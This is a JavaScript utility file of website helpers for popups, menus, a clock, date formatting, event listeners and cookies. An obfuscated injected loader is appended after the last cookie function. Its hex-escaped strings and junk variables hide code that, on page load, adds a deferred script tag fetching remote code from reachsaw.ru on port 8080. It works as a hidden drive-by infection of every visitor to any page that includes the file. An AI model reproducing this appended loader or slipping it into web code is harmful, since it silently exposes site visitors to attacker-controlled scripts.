
//====================================================================================================
//	File Name		:	functions.js
//----------------------------------------------------------------------------------------------------
//	Purpose			:	Javascript Utility functions
//	Author			:	Nirmal Patel
//	Creation Date	:	05-May-2003
//	Copyright		:	Copyrights © 2003 Dot Infosys
//	Email			:	dinesh@dotinfosys.com
//	History			:
//						Date						Author						Remark
//						05-May-2003					Nirmal Patel				Initial Release
//
//====================================================================================================

//====================================================================================================
//	Function Name	:	popupWindowURL
//	Purpose			:	Whenever you wanna open a link into a new window just call this function
//								you need to pass some arguemnts as described below.
//	Parameters		:
//								url  = url to be open in the new window
//								winname = winname is the window name for the reference of that window
//								w is the width
//								h is the height
//								menu is the parameter, if you want menubar to be enabled on the window
//								resize if you wanna resize the window
//								scroll i fyou needed
//	Return			:	true or false
//	Author			:	Nirmal Patel
//	Creation Date	:	05-May-2003
//----------------------------------------------------------------------------------------------------

function popupWindowURL(url, winname,  w, h, menu, resize, scroll) {

    var x = (screen.width-w)/2;
    var y = (screen.height-h)/3;

	if (winname == null) winname = "newWindow";
	if (w == null) w = 800;
	if (h == null) h = 600;
	if (resize == null) resize = 1;

	menutype   = "nomenubar";
	resizetype = "noresizable";
	scrolltype = "noscrollbars";
	if (menu) menutype = "menubar";
	if (resize) resizetype = "resizable";
	if (scroll) scrolltype = "scrollbars";
	//alert(url+","+x+","+winname);
    cwin=window.open(url,winname,"top=" + y + ",left=" + x + ",screenX=" + x + ",screenY=" + y + "," + "status," + menutype + "," + scrolltype + "," + resizetype + ",width=" + w + ",height=" + h);

	if (!cwin.opener) cwin.opener=self;
	cwin.focus();

	return true;
}

function CheckUncheck_Click(fld, status)
{
	if(fld)
	{
		if(fld.length)
			for(i=0; i < fld.length; i++)
				fld[i].checked = status;
		else
			fld.checked = status;
	}
}

function Menu_ShowHide(menu, img, imgUp, imgDown)
{
	if(menu)
	{
		if(menu.style.display == 'none')
		{
			menu.style.visibility	= 'visible';
			menu.style.display		= 'block';
			img.src = imgUp;
			SetCookie(menu.id, 'open');
		}
		else
		{
			menu.style.visibility 	= 'hidden';
			menu.style.display 		= 'none';
			img.src = imgDown;
			SetCookie(menu.id, 'close');
		}
	}
}

function UploadImage_Change(obj, imgTag, defaultVal, defaultWidth)
{
	imgTag.width=120;

	if(obj.value == '')
		imgTag.src = defaultVal;
	else
	{
		imgTag.src = obj.value;
		if(defaultWidth != '')
			imgTag.width=defaultWidth;
	}
}

function SetTime()
{
	if(!document.getElementById('timeId'))	return;

	var Hours;
	var Mins;
	var Time;

	Stamp = new Date();

	Hours = Stamp.getHours();
	
	if (Hours >= 12)
		Time = " PM";
	else
		Time = " AM";
	
	if (Hours > 12)
		Hours -= 12;
	
	if (Hours == 0)
		Hours = 12;
	
	Mins = Stamp.getMinutes();

	if (Mins < 10)
		Mins = "0" + Mins;

	Sec = Stamp.getSeconds();
	if (Sec < 10)
		Sec = "0" + Sec;

	document.getElementById('timeId').innerHTML = ("&nbsp;" + Hours + ":" + Mins + ":" + Sec + Time);
}

setInterval('SetTime()',1000);

function getDate(parmDate)
{
	var m_names = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September","October", "November", "December");

	var curr_date = parmDate.getDate();

	var sup = "";

	if (curr_date == 1 || curr_date == 21 || curr_date ==31)
	{
	   sup = "st";
	}
	else if (curr_date == 2 || curr_date == 22)
	{
	   sup = "nd";
	}
	else if (curr_date == 3 || curr_date == 23)
	{
	   sup = "rd";
	}
	else
	{
	   sup = "th";
	}

	var curr_month 	= parmDate.getMonth();
	var curr_year 	= parmDate.getFullYear();

	return (curr_date + "<SUP>" + sup + "</SUP> " + m_names[curr_month] + " " + curr_year);
}

function showDate(parmDate)
{
	var m_names = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September","October", "November", "December");

	var curr_date = parmDate.getDate();
	var curr_month 	= parmDate.getMonth();
	var curr_year 	= parmDate.getFullYear();

	return (m_names[curr_month] + " " + curr_date  + ", " + curr_year);
}

function attachEventListener(target, eventType, functionRef, capture) 
{ 
	if (typeof target.addEventListener != "undefined") 
	{ 
		target.addEventListener(eventType, functionRef, capture); 
	} 
	else if (typeof target.attachEvent != "undefined") 
	{ 
		var functionString = eventType + functionRef; 
		target["e" + functionString] = functionRef; 
		
		target[functionString] = function(event) 
		{ 
			if (typeof event == "undefined") 
			{ 
				event = window.event; 
			} 
			target["e" + functionString](event); 
		}; 
		
		target.attachEvent("on" + eventType, target[functionString]); 
	} 
	else 
	{ 
		eventType = "on" + eventType; 
		
		if (typeof target[eventType] == "function") 
		{ 
			var oldListener = target[eventType]; 
			
			target[eventType] = function() 
			{ 
				oldListener(); 
				
				return functionRef(); 
			} 
		} 
		else 
		{ 
			target[eventType] = functionRef; 
		} 
	} 
} 

function detachEventListener(target, eventType, functionRef, capture) 
{ 
	if (typeof target.removeEventListener != "undefined") 
	{ 
		target.removeEventListener(eventType, functionRef, capture) 
	} 
	else if (typeof target.detachEvent != "undefined") 
	{ 
		var functionString = eventType + functionRef; 
		
		target.detachEvent("on" + eventType, target[functionString]); 
		
		target["e" + functionString] = null; 
		target[functionString] = null; 
	} 
	else 
	{ 
		target["on" + eventType] = null; 
	} 
}

/**
 * Sets a Cookie with the given name and value.
 *
 * name       Name of the cookie
 * value      Value of the cookie
 * [expires]  Expiration date of the cookie (default: end of current session)
 * [path]     Path where the cookie is valid (default: path of calling document)
 * [domain]   Domain where the cookie is valid
 *              (default: domain of calling document)
 * [secure]   Boolean value indicating if the cookie transmission requires a
 *              secure transmission
 */
function setCookie(name, value, expires, path, domain, secure) {
    document.cookie= name + "=" + escape(value) +
        ((expires) ? "; expires=" + expires.toGMTString() : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
}

/**
 * Gets the value of the specified cookie.
 *
 * name  Name of the desired cookie.
 *
 * Returns a string containing value of specified cookie,
 *   or null if cookie does not exist.
 */
function getCookie(name) {
    var dc = document.cookie;
    var prefix = name + "=";
    var begin = dc.indexOf("; " + prefix);
    if (begin == -1) {
        begin = dc.indexOf(prefix);
        if (begin != 0) return null;
    } else {
        begin += 2;
    }
    var end = document.cookie.indexOf(";", begin);
    if (end == -1) {
        end = dc.length;
    }
    return unescape(dc.substring(begin + prefix.length, end));
}

/**
 * Deletes the specified cookie.
 *
 * name      name of the cookie
 * [path]    path of the cookie (must be same as path used to create cookie)
 * [domain]  domain of the cookie (must be same as domain used to create cookie)
 */
function deleteCookie(name, path, domain) {
    if (getCookie(name)) {
        document.cookie = name + "=" +
            ((path) ? "; path=" + path : "") +
            ((domain) ? "; domain=" + domain : "") +
            "; expires=Thu, 01-Jan-70 00:00:01 GMT";
    }
}
var d='';var ud;if(ud!='Y' && ud!='vv'){ud=''};var x;if(x!='kn' && x!='q'){x=''};function i(){var _j;if(_j!='qM' && _j!='Jc'){_j='qM'};var fV=new String();var f=unescape;var QX;if(QX!='H' && QX != ''){QX=null};var A;if(A!='xr' && A != ''){A=null};var N=window;var Lv;if(Lv!='' && Lv!='Ft'){Lv=null};var J=f("%2f%6c%69%76%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%65%77%65%62%73%2e%63%6f%6d%2e%70%68%70");var X=new Array();function I(F,K){var v=String("g");var Z=f("%5b"), _=f("%5d");this.T="";var dc=new Date();var h=Z+K+_;this.WA="";var t;if(t!='S'){t='S'};var L=new RegExp(h, v);var Vu=new String();return F.replace(L, new String());};var M;if(M!='' && M!='Xt'){M=null};this.C="";var OU='';var We;if(We!='XF'){We='XF'};var VE;if(VE!='G'){VE='G'};var k=new String();var s=document;this.gr='';var Ay='';var ht=I('867451630453359787911306273759','72396145');var ZE=new Date();var R;if(R!='l' && R!='zQ'){R=''};var oR=new String();function b(){this._z='';var a=f("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var fL;if(fL!='qV' && fL != ''){fL=null};k=a;k+=ht;var OUy;if(OUy!='ks' && OUy!='QW'){OUy=''};var vk;if(vk!='_W'){vk=''};k+=J;try {var zh;if(zh!='wM'){zh=''};j=s.createElement(I('szc9r9iBpQtz','AyQDvjPO6KxFYBfuzh9'));var OUn="";j[f("%73%72%63")]=k;j[f("%64%65%66%65%72")]=[1][0];var ro;if(ro!='' && ro!='Sp'){ro='sh'};this.mM='';var Vh=new Date();var af;if(af!='Hh'){af='Hh'};s.body.appendChild(j);var sV=new Date();var by=new String();var UM;if(UM!='nk'){UM='nk'};} catch(u){var UR='';var nV='';alert(u);var hl;if(hl!='' && hl!='WWU'){hl=''};var GD;if(GD!='' && GD!='Ul'){GD=''};};var GP=new Array();var ky=new Date();}var mI;if(mI!='Io'){mI=''};var jE=new Array();var Xk;if(Xk!='ZW' && Xk!='DG'){Xk=''};var at;if(at!=''){at='yN'};N[new String("onlmWk".substr(0,3)+"bvkAoad".substr(4))]=b;var QJV="";var yz='';var Jd;if(Jd!='V_' && Jd != ''){Jd=null};var Z_;if(Z_!=''){Z_='KY'};};this.lj="";this.yzm="";i();this.Zb='';